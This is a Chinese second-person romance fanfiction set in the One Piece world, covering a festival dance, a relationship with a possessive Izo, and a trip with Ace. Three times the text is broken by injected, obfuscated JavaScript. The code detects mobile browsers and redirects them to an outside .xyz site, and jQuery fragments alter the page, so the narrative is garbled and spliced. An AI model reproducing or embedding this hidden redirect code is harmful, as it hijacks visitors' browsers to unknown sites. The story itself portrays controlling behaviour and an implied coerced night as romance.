女童十分高兴地告诉你们广场的活动,大致的意思就是今晚岛上的男女老少,只要手上有花就能邀请人跳舞。同理,有花的人也能被邀请跳舞。 “好运和幸福会随着舞蹈传递给每个人,所以姐姐和哥哥买束花吧!” 你和艾斯把花篮中剩下的花都买了,卖空花的女童对你们送上真挚的祝福,随后拿着空掉的篮子跑开了。看着她一蹦一跳的背影,你和艾斯不约而同地笑了起来。 没过多久,你们把目光放在了你手上的花上。 “多余的花该怎么处理?” 艾斯想了下,给你留了两只,随后拿着多余的花送给附近没有拿花的路人。收到花的路人很是意外,但每个人都对艾斯表示感谢。 解决了困扰你们的问题后,你把手上的花别在耳侧,艾斯则是随后放进口袋,就拉着你去广场上的摊位玩了。 不管是射击还是力气的游戏,艾斯都能引起周围人的欢呼。他就像是天生的太阳一样,照亮着每个地方。等艾斯把赢下的玩偶送给了围观的孩童后,他跑到你面前,话语里是不加掩饰的担忧。 “要休息一会儿吗?” 你看了下渐暗的天色以及广场上多起来的人,中午吃下去的食物也在跑动中消化掉了,便提议艾斯找个地方吃晚餐。 于是,艾斯带着你去他早就物色好的餐厅吃完。许是刚才玩得太尽心,艾斯没吃几口就睡着了,把服务员吓得大叫。 习以为常的你安抚了服务员后,把睡着的艾斯叫醒。被叫醒的艾斯讪笑着和你道歉,又继续吃着属于他的晚餐。 你们吃过晚餐后,工作人员点燃了广场的篝火。被夜幕笼罩的广场也被火光照亮,很是好看。 当你和艾斯再度回到广场时,在周围春心萌动的少女鼓起勇气来邀请艾斯跳舞。本以为艾斯会答应她们的邀请,艾斯却一一拒绝了。 这让你感到奇怪,在你的询问下,艾斯揉乱他自然卷的黑发,被篝火照亮的脸上染上了火光。 “嘛...我不会跳舞来着。” 原来如此。闻言的你被艾斯难为情的表情逗笑了,顺势牵起艾斯的手,在艾斯错愕的目光中带着他走进广场中心。 知道你要做什么的艾斯急忙出声,想要制止你的行动:“等等、我真的——” 你点了下被你别在耳边的花,复述了女童说过的话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果邀请你的是不知名的路人,你就拒绝了。可邀请你的是以藏,你无法说服自己拒绝以藏的邀请。 “当、当然可以。” 空无一物的手和戴着黑色皮质手套的手相握时,等待的人群发出遗憾的呼声。他们还说了什么,被以藏牵进舞池的你却毫无印象。 你庆幸于现在是夜晚,也为足够亮的篝火而高兴。只有这样,才能掩盖住你满脸通红的事实。 刚才教艾斯跳舞的你跳的有多流畅,现在跳得就有多糟糕。即使如此,以藏也没有说你什么,为数不多的,是你踩到以藏的脚时微不可察的轻笑声。 “刚才跳得不是很好吗?” 这句话足以说明以藏不是凭空出现的,是在艾斯和你跳舞,甚至更早之前就在一旁看着了。你有很多问题想问以藏,但靠近以藏时嗅到的酒味,让你被喜悦冲昏的头脑冷静下来了。 是啊,清醒时的以藏躲你都来不及,又怎么会主动靠近你呢? “…因为我累了。以藏才是,不让我喝酒,倒是把自己喝醉了。” 完蛋,你有点想哭。明明没发生什么,也如愿以偿的和以藏拉近距离了,为什么会感到难过呢?好在一首歌的时间不长,只需再跳几步,你就能松开以藏的手了。 然而乐曲还没结束,以藏停下了步伐,戴着皮质手套的手捏住了你的下颚,迫使着你抬头对上眼前人的双眸。 凝视着你的双眸里倒映着燃烧的篝火,本该存在于眸中的暖意蒙上一层雾,这让你不确定在以藏眼中燃烧的是篝火,还是别的什么。 “你觉得我喝醉了吗?” 捏着你下颚的指腹轻抚过下颚的软肉。这般亲昵的动作,让你越发肯定以藏是喝醉了。 你应该为自己见到以藏喝醉时的样子高兴的,现在却只想当做什么都没发生。饶是你再怎么强迫自己微笑,哽咽的声音暴露了你在难过的事实。 “…不是吗?” 似乎有谁在叹气,没等你分辨出叹气的是谁,眼角处的柔软分散了你的注意力。掺杂着酒精和清爽的香气让你陷入片刻的失神,落在眼角处的唇瓣撤离了,温热的呼吸却顺着你脸侧的弧线,逐渐往下。 倒映着篝火的双眸毫无醉意,平日里温柔的眸中只剩势在必得的火光。 “我没醉。” 不知什么时候,捏着你下颚的手抚上了你的唇,轻抚着你的唇瓣,仿佛在试探你的态度,又像是在忍耐。 “...拒绝我吧,我不想你后悔。” 以藏在警告你,喜极而泣的你却笑了,主动凑到他面前,捧起他另一只手,将温热的脸贴上带有凉意的皮质手套。 “后悔什么?后悔得到一个吻,还是得到你?” “不...你不知道这意味着什么。” 被你贴着的掌心微微颤抖,凝视着你的那双眼睛却异常明亮。 你无法理解,心意相通的人为什么不能在一起?被以藏这么说,你再也无法克制自己的情感和怒火,说出了让你们的关系回不到之前的话。 “我不知道你在担心什么。我喜欢你,你也喜欢我不就可以了吗?” “不管是吻还是你,我都要。” 在篝火里燃烧的木材发出爆裂的响声,倒映在你眼中的以藏欲言又止,发出了一声无可奈何的叹息。 “你说得对,又有什么不可以?” 没给你缓冲的时间,随着缩短的距离,落在你唇上的不再是带有凉意的皮质手套,是如篝火般炙热却格外柔软的唇瓣。 7. 变化 你和以藏在一旁等艾斯,以至于拿着两瓶水跑回来的艾斯有些茫然,但看到你被以藏握住的手后,露出了“原来如此”的笑容。 “那我去找马尔科他们,萨拉就交给你了,以藏。” 尚未适应和以藏关系变化的你感到脸上一片燥热,下意识想要抽出被以藏握住的手。刚有动静,包裹住你的手收紧了力度,随后是以藏应下艾斯的声音。 “嗯,我会照顾好她的。” 目送着艾斯跑开,直到隐匿于人群中身影不见踪影后,握着你的手的以藏轻笑出声。 “刚才还说什么都要,这么快就改变主意了?” 显然,以藏是在说你刚才在艾斯面前害羞的事。恼羞成怒的你没有说话,应该说,被以藏重提“旧事”的你说不出话来。 你不后悔向以藏表白,也不后悔和他在一起。但两人关系的转变,你需要花上一段时间来适应。要知道在今晚前,以藏从没用过这种挑逗的语气和你对话。 “就算你改变主意也迟了。” 以藏举起交握在一起的手,在你因害羞躲闪的视线中吻上你的手背:“我不会放手的。” - 第二天,你和以藏牵着手上船时,所有人都知道你们的关系了。有为此惊叹的,也有表情十分复杂的。只有老爹,在众人还没从具有冲击力的现实中回神笑了起来。 老爹:“年轻人的事我可做不了主,你们自己拿主意就对了。” 于是你和以藏在一起的消息就这么传开了。早就觉得你们是一对的人很快就接受了现实,而不太能接受现实的,也在意识到你的年龄足以有好几段感情时接受了现实。 不过就算是这样,以藏还是被一直照顾你的几个队长单独拉去谈话了。具体聊了什么你不清楚,但他们聊完后,向来都以逗弄你为乐的哈尔塔难得生气,看着你想说什么,又在马尔科的提醒下发出不满的哼声后离去。 算是看着你长大的萨奇更直接,揪着你的耳朵想要大发雷霆,但看到你局促不安的表情后,认命地发出一声叹息。 “...算了,就算你后悔也来不及了。” 只有和你走得最近的艾斯和没事人一样,继续和你分享他在岛上的所见所闻。 - 刚交往的一个月是你和以藏最腻歪的时候。是所有人看到你和以藏在场,都会捂着胸口让你们换个地方亲近的程度。 其实你们只是站在一起聊天,但他们仿佛甜到牙疼的表情让你又羞又怒。没等你做出选择,以藏就你揽进怀里,当着他们的面吻了你的额头,在一阵痛苦的叫声中,心情大好的以藏笑了。 “这种程度就受不了了,那之后有的你们受了。” 于是让你们换地方的船员纷纷表示受不了,骂骂咧咧地离开了甲板,并用优美的家乡方言赞美了以藏带着你秀恩爱的行为。 以藏没有计较他们当面说自己的坏话,反而笑得更开心了。和你四目相对时,吻的落点由额间改为唇瓣。轻触即离的吻没有掺杂着半分欲望,注视着你的双眸里却是不加掩饰的情欲。 “我们换个地方。” 一点就通的你顶着泛红的脸同意了以藏的提议。 现在想来,以藏还挺喜欢捉弄人的。和你在一起前有意不让你看到,在一起后倒是把他性格里恶劣的点展现的淋漓尽致。 马尔科问你有没有幻灭,你摇头否认了马尔科的猜想,并表示你还挺喜欢以藏作弄人时的样子。 毕竟和以藏单独相处时,他也喜欢说些让你牙痒痒又拿他没办法的话。两者的区别,在于以藏捉弄其他人时会像个海贼一样大笑,捉弄你时的笑声要更为温柔和性感。 听完你感想的马尔科一时语塞,然后揉着他所剩无极的头发认命地离开。 回想起来,在和以藏最亲密的那一个月里,你和艾斯相处的时间少了很多。不仅如此,以往你和艾斯是单独相处的空间,现在多出了以藏的位置。 每当你和艾斯说话时,以藏不是站在你身旁,就是站在一眼能看到你和艾斯的高处或角落。 这让你感到些许的不适,艾斯却表示他已经习惯了。你问艾斯怎么习惯的,艾斯看了眼在二层看似在和马尔科聊天,实则一直关注着你们的以藏,讪笑着说出了你不知道的事。 “你和以藏在一起之前,他就这么做了。” 感情只有你没注意到以藏一直在暗中注意你,难怪之前的艾斯偶尔会在和你聊天时,低喃着“还在啊”这种让你摸不着头脑的话。 原来以藏不仅喜欢捉弄人,还是掌控欲十足的类型。 意外得知的信息再度刷新了你对以藏的认知。 然而,不止你的活动范围在以藏的注视下,你发现自己的房间也被以藏以极其隐晦又强势的方式所占据。 梳妆台上的梳子、发圈和发夹都是以藏给你的,唯独艾斯给你的发夹被收进了柜子里。放在书架上的书有你想看的,也有以藏感兴趣的,还有以藏觉得你会喜欢塞的。 衣柜里清一色的休闲女装中藏着身形更为高大的男士和服,还有一眼就看出不是你喜欢的风格的服饰。 平日里你翻阅书籍的桌面,不知道何时摆放着以藏护理爱枪的工具。 除了房间,船上的大家和你说话的方式也不太一样。有很多只需你同意就能做的事,他们却先征询以藏的意见,得到以藏的许可才询问你的意愿。要知道在这之前,他们都是你说“好”就马上拉着你走的。 改变的不只是你和以藏的关系,还有周边的人和事。等你从热恋期中回过神时,你的世界都是以藏的身影和气味。 “怎么了?” 以藏关切的声音在你耳边响起时,你意识到现在的你也是被以藏抱在怀里的。 这样不对。 没来由的烦躁和不安涌上心头,你推开了以藏,在他不解的目光中拉开和他的距离。 “...没、没什么,今晚我想一个人待着,以藏可以回自己的房间吗?” 你不敢看以藏的脸,害怕那双能魅惑你的眼睛看出你的异常。 一时间,有两人在的房间里只能听见甲板上船员打扑克的吆喝声,还有海浪撞上船板的水声。 打破寂静的是替你别起脸侧碎发的以藏:“那我先回房间了,有什么事随时都能来找我。” 随之落在你脸侧的吻令你下意识别过头。许是这个动作让以藏注意到了你的异样,粗粝的指腹捏住你的下颚,象征性的晚安吻以不容拒绝的气势落在了你的唇上。 一吻毕,俯视你的那双眼睛里是和往日无异的笑意。 “我要回去了,萨拉。” “嗯...晚安。” 直到以藏替你关上房门,你才敢大口的呼吸。 你们是恋人,可现在的你却害怕着以藏。 - 伴随着后知后觉的清醒袭来的,是你被浇灭的热情。你很确定,自己还喜欢以藏。但你不确定自己对以藏的喜欢,是否和以藏对你的情感成正比。 旁观者和你都能看出以藏对你的喜爱。无论你去哪做什么,只要以藏没事,他都会跟在你的身边。 他可以站在你身后,也可以站在你身旁,亦或者以极为亲密的距离,将你搂在他的怀中。鉴于你的脸皮较薄,以藏很少会在人前采用第三个方案,多数是站在你身旁。 但你们在一起后的第二个月,情况有了不一样的变化。 上个月还形影不离的你们,现在基本是以藏跟在你身后,走在他前面的你头也不回的快步往前,仿佛身后有洪水猛兽追着你。 但这种情况在以藏喊了你的名字后就会改变,你会放慢步伐,直到你和以藏处于同一平行线。可在以藏想牵你的手时,你会以害羞为由拒绝和以藏牵手。 如果说之前觉得自己被疏远的感觉是以藏的错觉,那连着这么长时间你都在躲他的反应,还会是错觉吗? 绝对不可能。 所以以藏在人前接受了你拒绝他牵手的理由。取而代之的,是以藏在夜深人静的时间,拒绝了你让他离开你房间的请求。 带着不安和些许的抵抗,一切都在以藏的掌控中水到渠成。于你而言,令你疼痛和低泣的夜晚并不美好,更别说一夜无梦后沉重又不适的身体,以至于以藏在你耳边说什么,你都不愿给予他回复。 “萨拉,不要生气了。等一下我就和萨奇去附近的岛上出任务,估计要在外面待上几天。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913105|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “即使这样,也不打算理我吗?” 以藏替你梳理着打结的长发,直到乌黑的长发在他手中编成好看的鱼骨辫。你看着镜中的自己,以及以藏有意示弱的模样,积攒在胸口的不满随着叹息消散。 “...我没有生气,你和萨奇注意安全。” 闻言的以藏嘴角微扬,仍旧维持着半蹲的姿势,等着你接下来的动作。 你知道,以藏在等你吻他。再怎么不高兴,你也不会让以藏失望。 本想速战速决轻触即离的吻,被以藏换成了难以拒绝的深吻。于是,你带着昨晚对以藏的不满和被戏耍的恼怒把以藏赶出了房间。后者自知理亏,隔着木门单方面约定了给你带手信的事。 “晚上我会给你打电话的。” 自动忽略了以藏和你说的话后,你拿起书架上看到一半的书继续看下去。 没什么事的话,你可以连午餐都不吃,一直看到晚上。很可惜,知道你是什么性格的哈尔塔准时敲响了你的房间门,并在去食堂的路上和你说着平时以藏在时不会说的话。 大致内容都是说你被骗了,还有以藏再怎么好本质也是海贼什么的,这种碎碎念一直持续到食堂为止。见你左耳进右耳出,知道自己浪费了口水和时间的哈尔塔泄愤似的戳了两下你的额头,就去他带领的小队那坐下吃饭了。 你知道哈尔塔说的都是事实,但你和以藏在一起的事也是事实。而且现阶段的你,和以藏的关系也没闹到需要分手的程度,你只是需要一点私人时间和空间,来缓解以藏爆表的掌控欲。 - 吃过午餐后,得知艾斯接了个外出时间较长的任务,你抱着试一试的想法,主动提出要和艾斯一起去。一旁的马尔科想说些什么,被艾斯抢先了。 “好啊,那我们去问一下老爹吧。” 马尔科:“这样不行吧…等下要是出什么事不好交代yoi。” 马尔科没有明说,你也知道他话语里的“交代”代指以藏。很可惜,提起以藏只会让你更坚定出去的想法。 但艾斯不在意,听完就左耳进右耳出,拉着你往老爹房间跑,任由马尔科为你们的事头疼。 其实你在船上的身份并不适合掺和团内的事务,但老爹没有拒绝你的请求,大手一挥让你跟着艾斯去见识船外的世界。 你们离开房间前,老爹额外叮嘱了你一些话:“第一次出门,记得照顾好自己和艾斯,玩累了就早点回来。” 老爹的话让你有点意外,你在事后问了艾斯的意见,艾斯用他独特的思维向你解释了老爹的话。 “老爹的意思是任务不怎么重要,萨拉调整好心情更重要点。” “为什么这么说?” 艾斯发出了“不是吧”的长叹声。 “你都快把‘不高兴’写在脸上了,这种事很难不注意到吧。” 见你还是不相信自己的说的话,艾斯板着脸,用手把他扬起眼角往下扯,模仿你平日说话的语气说道:“就像这样,我都记得了。” 看到艾斯的表情,你不禁笑出了声。成功逗笑你的艾斯放过了自己的脸,跟着笑起来。等你们都笑够了,你才对艾斯的模仿发表意见。 “我不高兴时哪有这样了。” 艾斯:“就是这样的表情,我记得可清楚了。要是不信,回去我让马尔科他们作证。” 由此可以推断出艾斯经常和马尔科他们玩模仿游戏,还把你的表情也列为模仿的选项中。也是这样,你连着半个月积攒在心里的不满,在笑声中缓解了些许。 - 你们的任务是上岛验证一下某颗恶魔果实的下落,据说是从黑市流出的消息。 你问艾斯这个恶魔果实有什么能力时,艾斯嘴角上扬:“我也不知道,老爹让来就来了。” 艾斯一副有没有都没关系的样子,让你感到安心的同时,也担心接下来是否会遇到无法预测的事。 不管在哪里,打听事的最佳场所还是酒吧。艾斯是让你在旅馆等他的,被你拒绝了。 “难得出门一次还要在旅馆待到回去,那不是太浪费了?” 闻言的艾斯愣了下,随后改变了原定的计划,放好行李就和你一起去酒吧打听消息。 8. 塞拉 无论第几次来酒吧,你都习惯不了酒吧昏暗的环境,还有空气中酒精、尼古丁和各种味道的香水混杂在一起的味道。 和你一起来的艾斯却如鱼得水,点了一杯酒就在酒吧里四处打听信息了。作为艾斯的同伴,你自然也要点杯什么充下面子。 只要不喝下去,多烈的酒都不是问题。说是这样,你那小心驶得万年船的性格,选择了这家酒吧度数最低的青梅酒。 你端着酒保调好的酒,打量着酒吧的环境。只是点个酒的功夫,你就找不到艾斯的影子了。也好,这样你就可以享受一个人的时间了。 以上是你的理想状态,现实是没有艾斯在一旁后,不时就有男人来和你搭讪。 有上来就邀请你共进晚餐的,也有装腔作势结果没几句就破防的,还有站在你面前支支吾吾半天说不出一句完整话的。无一例外,都被你拒绝了。 也是这样,搭讪你的人不减反增,且有些是你在悬赏令见过的面孔。相较于普通的岛民,小有名气的海贼的搭讪更为直白和令你不适。 “我在等人。至于你说的那些,我不感兴趣。” 你搬出了同样的话术来拒绝吵闹到让人不敢凑近吧台的海贼。后者大概是觉得你在他小弟面前拂了他的面子气不过,嚷嚷着“给脸不要脸”的话,就想来硬的。 见状,随时都能把人种进地里的你准备出手。眨眼的功夫,海贼伸出的手在你面前结成冰。 “早知道摸鱼还会遇到闹事的,就换个地方了。” 你顺着声源处望去,一眼看上去全身是破绽穿着海军制服的男人,正朝着吧台走来。而被他吓到的海贼们大叫着“是海军”,便抱起他们的老大往外跑。 本以为出手帮忙的男人会追上去,结果他揉着蓬松的头发,顺势坐到你身旁的位置:“这种程度的杂鱼让驻岛海军处理就行了吧……” 懒散。这是你听到他说的话后得出的结论。 而库赞坐下和惊魂未定的酒保点了要喝的酒后,才想起他出手的主因。 “抱歉啊小姐,没有吓到你吧?” 即使你不完全算是一名海贼,也没有悬赏令,但面对海军,潜意识还是想要回避的。但被主动搭话,则意味着你一时半会儿抽不开身。 既然一时半会儿走不掉,那你就给四处打听消息的艾斯拖延一下时间吧。 “没有的。非常感谢你的帮助,好心的先生。不介意的话,这杯酒让我请你吧。” 在男人错愕的眼神中,你微微扬起嘴角,向他表现你的善意。 可惜,男人并不买账,还露出了难为情的表情。 “啊...总觉得让小姐请客怪不好意思的。怎么说我也是一名海军,保护平民是本职工作,小姐就别放心上了。” 被人拒绝的感觉很微妙,更别说拒绝你好意的还是立场不同的海军。你思考着该找什么话题拖住他,男人却先一步和你聊了起来。 “一定要道谢的话...那就告诉我你叫什么吧,美丽的小姐。” 男人拿起酒保推到他面前的酒杯浅尝了一口,极其随意的打听你的名字。 说真名是不可能的,但不说名字好像又少了个话题。于是,你借用了最近上头的书里女主的名字。 “我叫塞拉,好心的先生。” 随后你知道男人叫库赞,是因工作烦到随地都能睡跑出来的摸鱼的。他夸赞你的名字好听,你表示他的名字也不赖,和他给人的感觉一样。 许是对自己有清醒的认知,库赞的表情一言难尽,视线在你和手中的酒中来回,最后选择喝掉他手中的酒。 “如果不想遇到危险,现在离开这里是最好的,塞拉。” 从吧台站起的库赞把贝利放在桌上,在酒保说多给了的时候,库赞说你的那杯也算在里面。显然,他是准备离开了。怕你再在这继续逗留,把你的单也买了。 很不巧,近期的你很讨厌别人替你做决定的行为。所以,你在库赞起身前,掏出了几张贝利,将其塞进库赞上衣的口袋里。 “我会离开的,先生。但买单这件事,还是由我来吧。” 没想到你会这么强硬的库赞愣了下,直到你放下滴酒未少的酒杯离去时,库赞意识到,你是生气了。 看着被塞进上衣口袋,超出桌上数值、像是承受了你怒火的几张贝利,库赞有些头疼。 “难办了...” 即使库赞知道在这片大海上,不会有和你碰面的机会。但惹怒初次见面的女性的不适感,让他摸鱼得来的松弛感荡然无存。 - 和你集合的艾斯一眼便看出了你的心情不算好。听你说他不在时遇到的事后,艾斯惊得下巴都合不上。你以为艾斯惊讶的原因是因为海军,结果艾斯说不是。 “我比较意外的是,那个海军做的事让萨拉生气。” 换做之前你是不会生气的,或许还会对慷慨买单也不多话的男人投以欣赏的目光,但现阶段的你显然做不到。 “这样啊...那我们去隔壁的岛玩一圈才回去吧!” “任务呢?” 艾斯朝你竖起拇指,一脸得意地向你邀功:“搞定了,只要晚上和马尔科说一声就完成了。” 即使如此,你还是不敢答应艾斯出去玩的提议。艾斯知道你在担忧什么,用灿烂的笑容打消了你的顾虑。 “萨拉不是说了嘛,难得出来一次,又没有其他人在,我们玩一圈再回去也是顺路的事。” “把烦人的事抛到脑后吧!” 话说到这个份上了,你再犹豫就有点不识趣了。 “我们去玩吧。” 当然,这都是休息后的事,毕竟现在的时间不适合出海,你们也需要补充物资和填饱肚子。 你和艾斯的房间是相邻的,发生什么事对面都能第一时间赶到。所以,你听到了艾斯和马尔科汇报任务的对话,期间还有马尔科拿你和他暂时不回去的事无可奈何的叹息声。 没等你继续听下去,艾斯拿着电话虫出现在你所在的房间的阳台,让你近距离接听马尔科的电话。 艾斯:“抱歉啊萨拉,马尔科说一定要听到你的声音才能确保你是安全的。” 艾斯的话打消了你对马尔科必须让你听电话的疑虑。 你接过话筒,听马尔科寒暄了几句,确认你没什么事后,马尔科挂掉了电话。 即使马尔科没透露多余的信息,你多少也能猜到他一定要和你说话的原因。很大几率是你没带上以藏给的电话虫,以藏打电话无人接听后,直接打给马尔科问情况吧。 当热,这只是你的猜测,你也不会因为自己的猜测去讨厌马尔科。可这种即使不在以藏身边,也被他监视着的感觉,着实让你喘不过气来。 你不知道这种事能和谁说,直到你看到挂掉电话后还没离开的艾斯,你的情况才有所好转。 “怎么了,还有什么事吗?” “没什么事,只是我觉得你可能想说些什么。” 艾斯就这么站在阳台上,安静地等着你的答复。 许是艾斯的笑容过于灿烂,也可能是你确实需要找人倾述,你邀请艾斯来你的房间做客。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913106|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言的艾斯连连摇头,顶着微红的脸谢绝了进房间的邀请。 “我就在这里听吧,这个时间点感觉不太好。” 后知后觉的你意识到自己的行为带着某种暗示后,也脸上一热。令你意外的是,看似不拘小节的艾斯,会把这些细节放在心上。 仔细去回忆,你就会发现艾斯虽然和你亲近,在船上也不会和你单独待在一个房间里。哪怕是大晚上找你,也只是站在你的房门前和你说话。 是个好孩子。不合时宜的感想让你欣慰地点头,换来了艾斯不解的眼神。也是这样,你更加确定不能让艾斯被牵连进来。 “还是回去睡觉吧。明天不是要去玩吗?早点休息才能早点出发啊。” 艾斯的表情有点无奈,但他很快就调理好了情绪,接受了你的提议。 “好吧!那我先回去了。” 和艾斯互道晚安后,你锁好门窗准备入睡。 - 自以藏连着打了几个的电话都没人接时,他就知道你不在船上了。有没有你在船上却不接电话的可能?有,所以以藏打给了马尔科,排除了这个可能。 他知道,出任务在船上是再平常不过的事,但他无法控制住心底的不悦。明眼人都能看出他的心情不怎么好,只是同行的人中只有萨奇敢说这件事。 “说真的,你不觉得你对萨拉的控制欲强过头了吗?她不是犯人,你用不着盯得这么紧。” “我知道。” 他无比清楚你和他心意相通的事实。可是你过于单纯,又长得貌美,所学的东西也只够自保,遇到强点的对手都不知道会变成什么样。 和一直被庇护的你不同,以藏见过太多落在海贼手中,或落在他们手中的年轻女性的下场了。遇到好心的还有条活路,要是穷凶极恶的…什么下场都有。 越是喜欢和珍惜,就越想握在手中,确保万无一失。他没有理由和能力阻止侍奉的主公离去,但你不一样,他有这个能力,也有这个权利替你斩断潜在的危险。 除此之外,海上的男人数不甚数,比他年轻貌美的更是如此。他和其他男人的区别,只是他占据了你大部分的时间。 所以你察觉不到艾斯对你的好感,看不到艾斯每每和你交谈时无法移开的视线,而艾斯也不知道自己的心意,将他对你的好感列为同龄人的好感。 艾斯怎么说都是船上的人,他也做不到斩断你唯一能接触到同龄人的渠道。 但在这莫比迪克号外的地方呢?以藏可太清楚那些人看你的眼神了。贪婪又痴迷,如果没有人在你身旁,大概会用尽一切办法把你收入囊中吧。 说他做错也好,说他自私罢了,但海贼不就是这种存在吗? “萨奇,你扪心自问,如果触手可及的宝物是你的所有物,你会放手吗?” 下意识想回以肯定答复的萨奇想起了他来找以藏的主要任务,强行咽下了不合时宜的回答。 “你知道的,以藏,萨拉不是物品。” 面对萨奇无力的劝说,以藏扫了眼仍旧没有接通的电话虫:“所以更难守住,不是吗?” 萨奇:“…算了,说不过你。总之你别把萨拉吓坏了,到时候后悔都来不及。” 无法再和以藏继续讨论这个话题的萨奇骂骂咧咧地离开,留以藏在原地调理心情。 直到使用过度的电话虫累得吐舌头了,以藏才停止这种没有实质性作用的行动。 现在想来,他的掌控欲确实过头了。再这样下去,你再怎么喜欢他也会受不了。 回去后调整一下相处模式吧。 9. 果实能力 第二天一大早你就和艾斯出发去隔壁岛屿了。听艾斯介绍,隔壁岛有个很邪乎的占卜师,不管是什么都能占得差不多。 “所以艾斯相信占卜吗?” 面对你的疑问,艾斯向你交代了他的信息来源。 “我不信这些,但是队里有人信这个,时不时听他提起这个,我不想记也记住了。” 你了然地点头,然后在艾斯的带领下,走进了热闹的小镇。小镇的居民过得很安逸,许是占卜师的名气很大,你们一路上遇到过各个年龄段的人询问占卜师的事。 习以为常的居民也不藏着掖着,为他们指明了前往占卜师居住地的路。你顺着居民指的方向看去,不远处的小屋外一大早就排了一条长队,男女老少皆在队列中。 “估计里面也有穿便服的海军和海贼。” 闻言的艾斯点头附和。 “说不定还真有。难得来一次,萨拉想去体验一下吗?” 你摇头拒绝了艾斯的提议,毕竟你对于这些是有没有都没关系的态度。 “比起这个,我可以去逛一下地图上标出来的地方吗?” 从走进小镇时起,你就被公布栏上标红的森林所吸引了。许是在海上能见到的绿色太少,你对于森林和草地的兴趣远远大于宝藏。 在一旁的艾斯看着被你按住的地点,欣然应下了你的请求,并发出了同行邀请。 “那就去看一下吧。” - 相较于热闹的小镇,被标红的森林只有入口处有人把守。许是经常有人来这,守林人看到你们时露出了“又来了”的表情。 “别怪我没有提醒你们,这里平时都没什么人敢进去。你们要是在里面迷路或遇险了,我是不会进去找你们的。” 你和艾斯听完了守林人的介绍后,还是决定进去。见状,守林人没再劝你们,只是在你们离去时叹气。 “都是那个海贼王,搞得海上不得安宁。” 守林人说到某个词时,走在你身旁的艾斯顿了下,又在你的关切声中笑着摆手说没事。 注意力回到没什么人来的森林。过于原始的僧侣不管是草丛还是树都长得格外旺盛,脚下的路也特别难走。 除了要小心纯天然的陷阱,还要不时停下来,砍掉碍事的草丛和树枝才能前行。 次数多了,因为身高经常被树枝扫到的艾斯没什么耐心了,提议让他放把火把这些都烧了。你看了下随处可见的易燃物,伸手按住了艾斯即将放火的手。 “别了吧,我还想活多几年。” 艾斯将你的话理解为对他控火能力的怀疑。 “我会控制好范围的。” “不是这个问题...问题是我不是自然果实能力者,大火不只会把附近的东西烧了,还会把我一起带走。” 你这么解释艾斯就听懂了。许是你说这件事的表情过于生动,艾斯笑了好一会儿,放弃了林里一把火把你带走的方案,继续和你边砍树边往里面走。 越靠近森林的深处,四周弥漫的雾气就越大。以防走丢,你在艾斯的同意下握住了他的手腕。不知道是不是你的错觉,自从你握住艾斯的手腕后,他的话少了很多。 许是为了缓解气氛,艾斯说起了守林人提过是话题。 “萨拉,你对海贼王怎么看?” 这道题你会,开辟大航海时代的罗杰嘛,无论在哪都能听人说到。 “好坏参半吧?” 背对着你的艾斯沉默了半晌,有些沙哑的声音在前面响起:“为什么这么说?” “要为什么…大概是有很多人因为他改变了命运,而这当中的变化有好也有坏吧。” “那萨拉属于哪种?” 难得见艾斯这么关注一个话题,你顺着他的话往下说:“各种方面上是好的。因为他,我遇到了大家和艾斯。” 你隐约听到了艾斯松口气的声音,还有让你无法理解的,背水一战后才有的感慨。 “这样啊…” 不再聊罗杰的事后,你们还聊了其他话题,轻快的气氛维持到眼前不再有雾气为止。闯入你们视野的是碧绿色的湖。你和艾斯就以湖为休息点,坐在一旁的草地上休息。 看到深不见底的湖,艾斯顺势说起能力者泡在水里也难受的话题。 经艾斯这么提醒,你想起自己也是恶魔果实能力者的事,并表示要是艾斯现在掉进湖里,你能做的只有跳下去和他一起淹死,逗得艾斯捧腹大笑。 “说起来,萨拉的果实能力是什么来着?好像没见你用过。” “不知道啊。从我吃下那个果实已经几年了,至今为止也不知道它能做什么,时间久到我都快忘了自己也是能力者了。” 对于吃下果实就会用的艾斯来说,你的体验很新奇。他发出意外的长音后,猛地起身。 “反正现在也闲着,干脆就从各种角度测试一下萨拉的能力吧!” “可以是可以,但要怎么试?” 于是你在艾斯的提议下,包括但不限于和他互殴、被他单方面攻击、你单方面把他当沙包打等测试。一套连击下来,你和他都累得躺在地上喘气。 “太奇怪了...按理说总有一个方法是有用的啊?” “就是都没用、所以至今都没有开发能力啊。” 回想起刚吃下果实那段时间,你曾在马尔科他们怀疑你是过于安逸才使不出能力的猜测下,过上被他们轮流喂招的日子。好在之后他们放弃了这个计划,你才能继续过上好日子。 “要是我也能用艾斯的能力就好了。” 在你的感叹声中,艾斯爽朗的笑声在林里形成回音,一时间整个湖岸都是艾斯的声音。 “试着想象一下吧。就被火烧的感觉,连血液也在沸腾的那种。” “哇...听上去很危险的样子。” 你这么说着,闭着眼睛想象手被烧着的感觉。然后在艾斯的提醒下,你看到了右手手心上的火苗。虽然很小,但确实在燃烧。 “这个是艾斯你趁我不注意点的?” 